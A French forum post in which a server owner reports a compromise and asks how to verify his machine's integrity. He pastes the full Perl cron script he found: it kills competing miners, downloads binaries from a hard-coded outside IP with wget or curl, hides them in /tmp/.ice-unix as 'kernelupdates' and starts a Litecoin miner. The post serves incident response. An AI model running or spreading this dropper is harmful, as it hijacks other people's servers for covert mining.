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Bonjour à tous,


Il semblerait que je me soit fait pirater un de mes serveurs… Je retrouve ce type de script en tâche cron :


#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall -9 named");
$rn=1;
$ar=`uname -m`;
while($rn==1 || $rn==0) {
    $rn=int(rand(11));
}
$exists=`ls /tmp/.ice-unix`;
$cratch=`ps aux | grep -v grep | grep kernelupdates`;
if($cratch=~/kernelupdates/gi) { die; }
if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
    $wig=`wget --version | grep GNU`;
    if(length($wig>6)) {
        if($ar=~/64/g) {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
        } else {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
        }
    } else {
        if($ar=~/64/g) {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
        } else {
            system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
       }
    }
}

@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
$prt=0;
while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
print "setup for $rn:$prt done :-)\n";
system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
print "done!\n";


J'ai fait un kill des process douteux ("kernelupdates"), un apt-get update && dist-upgrade (qui m'a mis à jour mon noyau), j'ai changé le mot de passe root et rebooté la machine. J'ai ensuite vérifié le /tmp qui à l'air d'être vide. En tout cas, je n'ai plus de process douteux à réapparaitre. Par contre, j'ai beau inspecter les différents cron (crontab, cron.d, cron.daily, cron.hourly, cron.weekly, etc…) je ne trouve pas la tâche qui réessaye sans arret de remettre le process en place. Finalement, ce qui me sauve et qui m'a fait me rendre compte du problème, c'est que je n'ai pas curl d'installé, et que j'ai un mail d'alerte de la part de cron qui n'arrive pas à exécuter le fichier… 


La question est la suivante : comment m'assurer de l'intégrité de mon serveur ? Quels sont les points que je dois vérifier absolument et au plus vite ?


Merci d'avance.


Tof
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